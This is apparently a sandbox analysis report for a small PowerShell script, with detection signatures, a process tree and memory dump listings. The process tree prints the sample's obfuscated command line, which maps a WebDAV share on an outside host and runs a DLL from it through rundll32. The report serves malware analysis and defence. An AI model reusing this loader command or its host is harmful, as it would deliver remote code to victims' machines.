Analysis

  • max time kernel
    150s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 00:28

General

  • Target
    script.ps1
  • Size 162B
  • Sample260804-asrmaaaa84
  • SHA256 1253cc6cfe9b9600bb2c469929eec8b7573d862139fe5763cca38df9486e3763
  • MD5 SHA1 SHA512 TLSH
Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\script.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4560
    • C:\Windows\system32\conhost.exe
      "C:\Windows\system32\conhost.exe" --headless -- cmd /v:on /c "set s=@SSL&pu^shd \\dcnscbw.federationofpbos.org!s!\3d0c56d6-7376-4813-ba62-e211334ad0cf & r^undl^l32 nzjavtigywhumtqudjdd,#1"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5016
      • C:\Windows\system32\cmd.exe
        cmd /v:on /c "set s=@SSL&pu^shd \\dcnscbw.federationofpbos.org!s!\3d0c56d6-7376-4813-ba62-e211334ad0cf & r^undl^l32 nzjavtigywhumtqudjdd,#1"
        3⤵
        • Enumerates connected drives
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5564
        • C:\Windows\system32\rundll32.exe
          rundll32 nzjavtigywhumtqudjdd,#1
          4⤵
            PID:3864

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          memory/4560-0-0x00007FFF4B65F000-0x00007FFF4B660000-memory.dmp

          memory/4560-3-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

          memory/4560-5-0x00000169EBF70000-0x00000169EBF92000-memory.dmp

          memory/4560-4-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

          memory/4560-6-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

          memory/4560-7-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

          memory/4560-8-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

          memory/4560-9-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

          memory/4560-11-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

          memory/4560-12-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

          memory/4560-13-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp